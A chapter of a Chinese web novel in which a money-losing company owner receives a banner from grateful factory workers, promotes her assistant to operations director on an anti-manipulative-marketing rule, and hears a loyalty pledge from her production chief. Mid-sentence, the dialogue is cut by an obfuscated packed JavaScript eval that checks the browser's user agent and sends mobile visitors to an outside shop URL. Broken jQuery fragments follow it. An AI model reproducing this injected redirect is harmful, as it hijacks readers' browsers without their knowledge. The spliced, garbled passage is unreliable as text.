文趣网 > 其他小说 > 为了亏钱,我一不小心成了女性之光 > 26. 做分内事怎么就成了光
    傍晚五点。

    顾晴空刚走出办公楼,一面红底金字的锦旗便越过门卫栏杆,直冲她而来。

    “顾总,人都在,正好!”

    周厂长走在最前面,手里提着铜锣,胳膊一抡,敲了一下。

    顾晴空脚下一停。

    院子里正在搬货的张叔转过身,小林从楼梯口探出头。

    十几个华兴织带厂的女工跟在周厂长身后。有人提着水果,有人抱着两箱牛奶,中间两人展开锦旗,金色大字迎着夕阳,亮得顾晴空睁不开眼。

    【女性之光,良心企业】

    顾晴空看了三秒,转身就想跑回楼里。

    “顾总!”周厂长嗓门穿过半个院子,“别走啊,就是来找你的!”

    顾晴空收回迈出去的脚。她转过身,先看周厂长,又看锦旗。

    “周厂长,怎么没提前说?”

    “提前说,你肯定不让来。”

    周厂长把铜锣递给身后的女工,跨过门槛。

    “我还不了解你?净干事,不爱往外说。今天我们就得堵住你。”

    周厂长指了指锦旗:“我们几个厂的女工凑钱做的。钱不多,一人几块十几块,谁也没多出,谁也没少出。”

    顾晴空听见“凑钱”,眼神变了:“锦旗多少钱?”

    周厂长立刻防备起来:“你问这个干什么?”

    “我转给你。”

    “不行。”

    “公司可以报销。”

    “更不行。这东西要让你报销,那成什么了?我们拿你的钱买奖状,再拿来夸你?”

    顾晴空语塞。

    张叔走过来,先看锦旗上的字,再看顾晴空,脸上的褶子舒展开。

    “做得挺好。”

    周厂长朝身后招手,两个女工把锦旗往前送。

    锦旗悬在三人中间,送的人不肯收回,收的人迟迟不伸手。

    周厂长把铜锣槌往腋下一夹。

    “顾总,你是不是嫌这几个字土?”

    “不是。”

    “那你接。”

    顾晴空看着“女性之光”四个字。这四个字太重了。

    江城县女孩活下来,靠的是她自己没开门,靠保安赶到,靠邻居报警,靠民警处置。手环只争来了几分钟。

    乡镇女工能拿到订单,靠她们把一条条织带做合格,返工的返工,报废的报废。

    一家公司卖了件产品,收了用户的钱,按合同交货。

    怎么就成了光?

    “这几个字不合适。”顾晴空开口。

    周厂长脸上的喜气收了些。“哪里不合适?”

    “把公司捧太高,用户会把产品当护身符。”

    “我说的不是手环。”周厂长把铜锣槌放进锣里。“这面旗,也不是江城县那个姑娘送的。”

    顾晴空看向她。

    周厂长转身,指了指身后的女工。

    “你认不全她们,我给你说。”

    周厂长拉过站在最边上的一名女工:“她之前那条线停了三个月,家里两个孩子上学。华兴接到你的单,她回厂了,孩子们交上了学费。”

    她又指向另一人:“她夜班回家要走四十分钟,第一批手环优先给了夜班女工,她拿到一个。”

    再往后,是做复检的,是负责缝合的,是把返工带拉回去改边线的。

    “这些人靠手艺拿钱。”周厂长拍了拍锦旗边缘,“你没白送我们东西,没拿同情压价,也没把不合格的货收进去。该退就退,该付款就付款。我们谢的是这个。”

    顾晴空最初确实有亏钱的盘算。可成本表上的数字,到了工厂,就是工资,就是机器重新开起来,就是订单结算日有人能把钱带回家。

    “顾总。”小林在旁边小声提醒,“先接吧,大家举挺久了。”

    顾晴空伸出手握住锦旗右侧的木杆,小林赶紧托住另一边,周厂长一松手,后面的女工们都笑了。

    铜锣又响了一声。

    顾晴空额角跟着跳了一下。

    “别敲了。”

    “好好,不敲。”

    周厂长嘴上答应,转身又冲拿锣的人摆手,让她再来一下。

    顾晴空:“……”

    这场面若被拍下来发到网上,明天的标题她都能替营销号写好。

    【良心企业获女工送旗,顾总亲自迎接】

    再配一张她握着“女性之光”的照片。

    完美。

    她的亏钱事业将迎来又一次滑铁卢。

    “小林。”顾晴空压低声音,“拍照了吗?”

    “还没。”小林拿出手机。

    “很好。”顾晴空心里安稳了半秒,“别拍,也别发官方号。”

    “我懂。”小林把手机收起来,“用户案例不能拿来做噱头,供应商感谢也不能当营销素材。”

    周厂长耳朵尖,听见两人的话,立刻摆手。

    “我们不怕拍。”

    “公司不拍。”顾晴空把锦旗交给小林,“你们来一趟,心意收到了。网上人多,话传出去容易变样。谁家有什么事,不用跟着一起被围观。”

    几个女工互相看了看,有人悄悄把拿出来的手机放回口袋。

    周厂长点了点头:“你考虑得周全。那就不拍。”

    她把两箱牛奶往前提。

    “这个总得收。”

    “不收。”

    顾晴空拒绝得很快。

    “为什么?”

    “公司有规定。”

    “什么规定?”

    顾晴空停了半秒。

    公司目前并没有相关规定。

    周厂长盯着她,等她往下编。

    顾晴空把视线移向小林。

    小林接得很快:“供应商礼品登记规定。食品不好计价,也不好分,您带回去给夜班的人喝。”

    顾晴空点头:“按这个办。”

    周厂长看看顾晴空,又看看小林。

    “你们俩一唱一和,连两箱奶都送不进去。”

    “锦旗收了。”小林抱着卷起来的红布,“这份心意够重了。”

    周厂长没再强塞,招呼人把水果和牛奶拿回车上。

    张叔站在旁边,伸手摸了摸锦旗。

    “挂会议室吧。”

    顾晴空立刻开口:“不挂。”

    三个人一起看向她。

    顾晴空清了清嗓子:“太高调。”

    “挂办公室?”小林问。

    “不挂。”

    “展柜?”

    “不用。先收好。”

    小林抱紧锦旗,脸上露出恍然的神态。

    顾晴空一看她这副表情,警报已经在脑子里响了。

    “小林,你别多想。”

    “我没多想。”

    小林转向周厂长:“顾总不愿意拿这个做宣传,也不愿意挂出来给客户看。她怕大家的心意变成公司给自己贴金。”

    顾晴空闭了闭眼。

    来了。

    翻译官小林再次上线。

    她说“太高调”,小林听成“淡泊名利”。

    她说“先收好”,小林听成“珍惜群众心意”。

    同一句话,从她嘴里出去,经过小林的大脑加工,落地时变成了自带企业文化宣传片配乐。

    周厂长竖起大拇指:“我就说顾总不是一般做生意的人。”

    张叔点头:“她一直这样。”

    顾晴空睁开眼,发现连解释的必要都没了。

    这个院子里一共四个说话的人,三个人已经完成统一意见,剩下一个是她。

    第二天上午,会议室。

    坐在主位的顾晴空把一张任命书推到小林面前。

    小林没敢伸手。

    张叔端着搪瓷杯坐在旁边。

    老李扶了扶眼镜,拿起任命书看了一遍:“运营总监?”

    “对。”

    “顾总,这一步是不是跨太大了?”

    “我也这么想。”小林跟着点头,“我连主管都没当过。”

    顾晴空看了她一眼,小林闭上嘴。

    张叔瞄了眼任命书:“这职位听着挺大,管啥的?”

    老李把岗位说明推过去:“店铺、社群、内容、平台活动、售后反馈,全归她。以后用户从看见产品,到下单,再到退货,基本都要过她这边。”

    张叔喝了口水:“那确实管得多。”

    老李看向顾晴空:“光靠真诚,扛不住。”

    顾晴空肩膀松了些。对,就是扛不住才好。

    小林不追热点,不拿风险吓人,写个商品介绍还要来回改,生怕用户看错一句。订单多了,她先提醒发货慢,用户问值不值得买,她能列出三条不适合购买的情况。

    让这么一个人守下个项目的销售大门,广告费花不出去,营销话术写不出来,社群里再天天提醒理性消费。

    这路子,稳。

    顾晴空看向老李:“我升她,就因为她不懂套路。”

    小林抬起头,张叔也不喝水了。

    “顾总,您说的套路,具体指什么?”

    “制造焦虑,虚构稀缺,先涨后降,弹窗轰炸,诱导分享。”

    顾晴空点了一下桌面:“这些,全砍掉。”

    “照这么弄,咱这运营部还运营啥?每天坐那儿回消息?”

    “把产品说清楚。”

    会议室静了几秒。

    老李盯着她:“就这些?”

    “卖点、价格、发货周期、售后规则,全写明白。愿意买就下单,不愿意买就关页面。”

    张叔咂了下嘴:“这倒省事。”

    老李叹口气:“省事不等于能运转。安全手环能卖起来,有真实案例,有平台专题,还有用户帮忙传播。下个产品拿不到这些资源,怎么办?”

    “那也不能靠套路。”

    “产品卖不出去呢?”

    “先查产品问题。靠弹窗催促,靠倒计时恐吓,再弄一堆算不明白的券,催着人推进付款。钱收得快,退款回来也快,售后还得跟着忙活。”

    张叔点了点头:“这话对。厂里以前接过一批货,商家广告吹得太过,退回来半仓库。包装拆了,货也卖不成,最后大家一起赔钱。”

    “我支持别骗人。”老李顿了顿,“至于让小林当总监,我不拦了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712530|206518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    小林看看老李,又看看张叔,最后看向顾晴空。

    “我还没答应呢。”

    老李抬起头:“你刚才只说怕做不好,没说不接。”

    “那也不能直接当我答应了啊。”

    张叔笑了一声:“这句像总监了。”

    小林耳根发热,把任命书拉到面前。

    “顾总,我还想问一件事。”

    “问。”

    “我的考核标准是什么?”

    顾晴空等的就是这句:“唯一标准,别用套路烦用户。”

    她对小林,销售额没要求,拉新没要求,转化率也没要求。小林就算把用户运营部做成公益宣传站,公司也不会扣她绩效。

    她继续开口:“不弹窗追着用户领券,不给客服下强留客指标,不让用户拉三个人才能拿优惠等等。产品有问题就登记,发货延迟就告知,退款按规则办。”

    老李敲了下桌面:“这叫工作原则,考核要能落到数字。”

    顾晴空看过去:“那就把违规次数记成零。”

    她看向小林:“还有问题吗?”

    小林摇摇头,低头看了几秒。笔尖落下,工整签下自己的名字【林栀】

    “我接。”

    顾晴空第一个鼓掌。很好。下一轮项目的销售,交给一个不催单、不强留、不搞套路的人守。这还能卖爆?

    老李收起任命书:“职位定了,工资也要调。”

    小林连忙摇头:“不用不用,我原来的工资够花。”

    顾晴空看向她:“升职不涨薪,你想让公司上劳动争议案例?”

    “我没这个意思。”

    “按岗位拿钱。”

    “可我还没做出成绩。”

    张叔端起杯子:“小林手环项目干的挺好的。先拿该拿的钱。活干不好,再挨批。公司不能让人干总监的活,领客服的工资。”

    小林张了张口,把话咽了回去。

    “接下来,我会做好的。”

    “别先压力自己。”顾晴空拿起水杯,“把事情做完就行。”

    ……

    会议刚散场,张叔敲开了顾晴空办公室的门。

    “张叔,怎么了?”

    “没什么大事。”

    顾晴空等了片刻,张叔还是没往下说。

    她只好主动问。

    “车间排产有变化?”

    “没有。”

    “又出现返工?”

    “今天的数据正常。”

    “材料库存?”

    “够当前批次的。”

    顾晴空靠回椅背。生产没问题,来找她谈心?

    张叔在晴空科技干了十几年,平时话不多。工艺问题说工艺,产量问题报产量。能说清的事,绝不多绕一句。

    顾晴空拿起杯子,发现里面没水,只得重新放回去。

    张叔终于抬起头。

    “顾总。”

    “您说。”

    “你刚接手厂子的时候,张叔我啊,没服你。”

    顾晴空没料到他开口就是这句。

    “正常。”

    “你别急着给我台阶。那时候账上就那点钱,欠着电费和尾款。你一来就要改手环,还把价格压到一百五十九块九。”

    顾晴空听得很平静,她当时一门心思奔着亏损去,正常厂长看见她的定价方案,没直接锁住财务室都算修养好。

    张叔看向窗外,回忆着:“老顾总还在的时候,厂里也风光过。后来市场变了,大公司压价,渠道账期越拖越长。厂里为了活下去,做过几款便宜货。”

    张叔低头看着自己的手。

    “那几年,我签生产单的时候总跟自己说,厂子活下来最要紧。工人要工资,机器停一天都花钱。产品差一点,价格也便宜,买的人心里该有数。这话能解释很多事,也能遮住很多丑。”

    顾晴空拿起空杯,起身接了两杯水。

    张叔接过杯子:“我跟老顾总十几年。厂子到你手里那天,我已经在算还能撑几个月。最坏的时候,我连哪台机器先卖都在心里排过一遍。”

    “老李连遣散费也排过。”

    “他排账,我排设备。”

    张叔扯了扯嘴角:“你接手以后,我以为你会找资本,把厂子包装一下卖掉。再不然,砍生产线,留个牌子做贴牌。谁能想到,你拿着最后那点钱,真去做产品。”

    顾晴空在心里纠正,不是做产品,是做亏损项目。

    “顾总。我以前守生产,是为了保厂子。以后我守生产,先保东西。”

    张叔站起身,仿佛年轻了十岁,眼里都有光了。

    “技术和生产这块,您指哪我打哪。新项目难一点,成本高一点,都可以研究。做不了,我会直说。能做的,我给你做实。只要底线还在,我这把老骨头随便您折腾。”

    换成过去,顾晴空会头疼。

    现在,她反而踏实了些。她下一轮准备找的,正是难、贵、回款慢的项目。

    系统允许她打捞失败项目资料,不代表每个项目都能落地。她需要一个在生产端敢说不的人。

    研发亏损也是亏损。